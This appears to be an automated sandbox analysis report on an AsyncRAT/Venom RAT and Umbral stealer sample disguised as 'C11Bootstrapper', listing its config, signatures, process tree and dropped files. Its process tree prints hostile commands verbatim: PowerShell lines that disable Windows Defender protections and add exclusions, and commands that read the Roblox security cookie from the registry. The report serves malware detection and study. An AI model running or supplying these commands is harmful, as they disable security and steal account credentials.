Analysis

  • max time kernel
    1798s
  • max time network
    1175s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 20:32

General

  • Target

    C11Bootstrapper/Start.bat

  • Size

    1KB

  • MD5

    4e3179e79f11708b60c3af67718cc0ae

  • SHA1

    e22536c444427ce73dcc50091c28477c44e23210

  • SHA256

    6953af9e22a172b023757199cc77c0ea2353bfe7ab1843516a161081f0c1d76d

  • SHA512

    aaf2402399fe8887fe516a3be50054129298970dc322652dc02578a523be74135e02b6856f0b7b774df3c827b131d54828143583038bc5350c40e89dcd1409e1

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

127.0.0.1:6555

127.0.0.1:0

127.0.0.1:4040

Mutex

chhphkahmfnasuyziqc

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %Temp%

aes.plain
aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Start.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K IndependenciesInstallation.bat
      2⤵
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2228
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:4956
      • C:\Windows\system32\timeout.exe
        timeout /t 1
        3⤵
        • Delays execution with timeout.exe
        PID:2888
      • C:\Windows\system32\timeout.exe
        timeout /t 3
        3⤵
        • Delays execution with timeout.exe
        PID:1948
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"
        3⤵
          PID:3700
        • C:\Windows\system32\timeout.exe
          timeout /t 4
          3⤵
          • Delays execution with timeout.exe
          PID:3720
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exe
          C11Setup.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1624
        • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
          GuiLoader.exe
          3⤵
          • Drops file in Drivers directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2880
          • C:\Windows\SYSTEM32\attrib.exe
            "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
            4⤵
            • Views/modifies file attributes
            PID:3152
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2440
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3352
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:280
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" os get Caption
            4⤵
              PID:4956
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" computersystem get totalphysicalmemory
              4⤵
                PID:952
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic.exe" csproduct get uuid
                4⤵
                  PID:960
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4500
                • C:\Windows\System32\Wbem\wmic.exe
                  "wmic" path win32_VideoController get name
                  4⤵
                  • Detects videocard installed
                  PID:1548
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4940
                  • C:\Windows\system32\PING.EXE
                    ping localhost
                    5⤵
                    • Runs ping.exe
                    PID:2880
              • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exe
                PageEditor.exe
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1504

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            c321dfee531730b7e0b81470b947da3f

            SHA1

            0488401f4fc03bcdab19eeff194ff12f4439e1cb

            SHA256

            6d7da148fe930cf085b5369427eb24e66844d7f00fcc197f056e0763c7a76117

            SHA512

            eee78a9529b1d89631ac8dbaef716eba95166d8c465a2c075bf89d28fab4c25a48c4d29d7f19ab0249b245bf45fac63214b092aaef9b3a09b4f8e6cfa85a076a

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            e3840d9bcedfe7017e49ee5d05bd1c46

            SHA1

            272620fb2605bd196df471d62db4b2d280a363c6

            SHA256

            3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

            SHA512

            76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            6bddc96a32b9ed8fc70b141ccf4a39b2

            SHA1

            0f33c0699da40a5eadcec646791cf21cdb0dd7c6

            SHA256

            cb3853abe77eb0da8a1caccb49e97a573b6f35570722eb759116a645d724c132

            SHA512

            e41f1597b4129b759e4199db195df1c24e47cc47dc9850fab2d48e44bc3d37dc3658fbfbb62332a0b93c552587d7fab09de1634f605faa2209b8470c2a6eaca6

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            7332074ae2b01262736b6fbd9e100dac

            SHA1

            22f992165065107cc9417fa4117240d84414a13c

            SHA256

            baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

            SHA512

            4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rx0cxl4n.c3j.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

            Filesize

            8B

            MD5

            cf759e4c5f14fe3eec41b87ed756cea8

            SHA1

            c27c796bb3c2fac929359563676f4ba1ffada1f5

            SHA256

            c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

            SHA512

            c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

          • memory/280-91-0x0000025E24040000-0x0000025E24050000-memory.dmp

            Filesize

            64KB

          • memory/280-93-0x0000025E24040000-0x0000025E24050000-memory.dmp

            Filesize

            64KB

          • memory/280-90-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/280-94-0x0000025E24040000-0x0000025E24050000-memory.dmp

            Filesize

            64KB

          • memory/280-96-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/1504-11-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/1504-9-0x0000000002EE0000-0x0000000002EF0000-memory.dmp

            Filesize

            64KB

          • memory/1504-7-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/1504-2-0x0000000000B20000-0x0000000000B38000-memory.dmp

            Filesize

            96KB

          • memory/1624-8-0x0000000002480000-0x0000000002490000-memory.dmp

            Filesize

            64KB

          • memory/1624-43-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/1624-10-0x00007FFAD80E0000-0x00007FFAD82E9000-memory.dmp

            Filesize

            2.0MB

          • memory/1624-5-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/1624-81-0x00007FFAD80E0000-0x00007FFAD82E9000-memory.dmp

            Filesize

            2.0MB

          • memory/1624-65-0x0000000002480000-0x0000000002490000-memory.dmp

            Filesize

            64KB

          • memory/1624-1-0x00000000001D0000-0x0000000000214000-memory.dmp

            Filesize

            272KB

          • memory/2440-18-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/2440-27-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/2440-24-0x0000023F8B790000-0x0000023F8B7A0000-memory.dmp

            Filesize

            64KB

          • memory/2440-23-0x0000023F8B790000-0x0000023F8B7A0000-memory.dmp

            Filesize

            64KB

          • memory/2440-19-0x0000023F8B790000-0x0000023F8B7A0000-memory.dmp

            Filesize

            64KB

          • memory/2440-17-0x0000023F8B7A0000-0x0000023F8B7C2000-memory.dmp

            Filesize

            136KB

          • memory/3036-55-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3036-50-0x000001DDE9BA0000-0x000001DDE9BBE000-memory.dmp

            Filesize

            120KB

          • memory/3036-99-0x000001DDEBD30000-0x000001DDEBD42000-memory.dmp

            Filesize

            72KB

          • memory/3036-73-0x000001DDEBD90000-0x000001DDEBDA0000-memory.dmp

            Filesize

            64KB

          • memory/3036-98-0x000001DDEB4E0000-0x000001DDEB4EA000-memory.dmp

            Filesize

            40KB

          • memory/3036-49-0x000001DDEB480000-0x000001DDEB4D0000-memory.dmp

            Filesize

            320KB

          • memory/3036-0-0x000001DDE9630000-0x000001DDE9674000-memory.dmp

            Filesize

            272KB

          • memory/3036-48-0x000001DDEBEA0000-0x000001DDEBF16000-memory.dmp

            Filesize

            472KB

          • memory/3036-6-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3036-121-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3352-38-0x000001E0D5A80000-0x000001E0D5A90000-memory.dmp

            Filesize

            64KB

          • memory/3352-39-0x000001E0D5A80000-0x000001E0D5A90000-memory.dmp

            Filesize

            64KB

          • memory/3352-45-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3352-117-0x000001E0D5A80000-0x000001E0D5A90000-memory.dmp

            Filesize

            64KB

          • memory/3352-37-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3352-44-0x000001E0D5A80000-0x000001E0D5A90000-memory.dmp

            Filesize

            64KB

          • memory/3352-41-0x000001E0D5A80000-0x000001E0D5A90000-memory.dmp

            Filesize

            64KB

          • memory/3568-76-0x000001BC19B10000-0x000001BC19B20000-memory.dmp

            Filesize

            64KB

          • memory/3568-75-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/3568-77-0x000001BC19B10000-0x000001BC19B20000-memory.dmp

            Filesize

            64KB

          • memory/3568-78-0x000001BC19B10000-0x000001BC19B20000-memory.dmp

            Filesize

            64KB

          • memory/3568-80-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/4500-102-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB

          • memory/4500-103-0x000001B09B4A0000-0x000001B09B4B0000-memory.dmp

            Filesize

            64KB

          • memory/4500-113-0x000001B09B4A0000-0x000001B09B4B0000-memory.dmp

            Filesize

            64KB

          • memory/4500-115-0x00007FFAB6BE0000-0x00007FFAB76A2000-memory.dmp

            Filesize

            10.8MB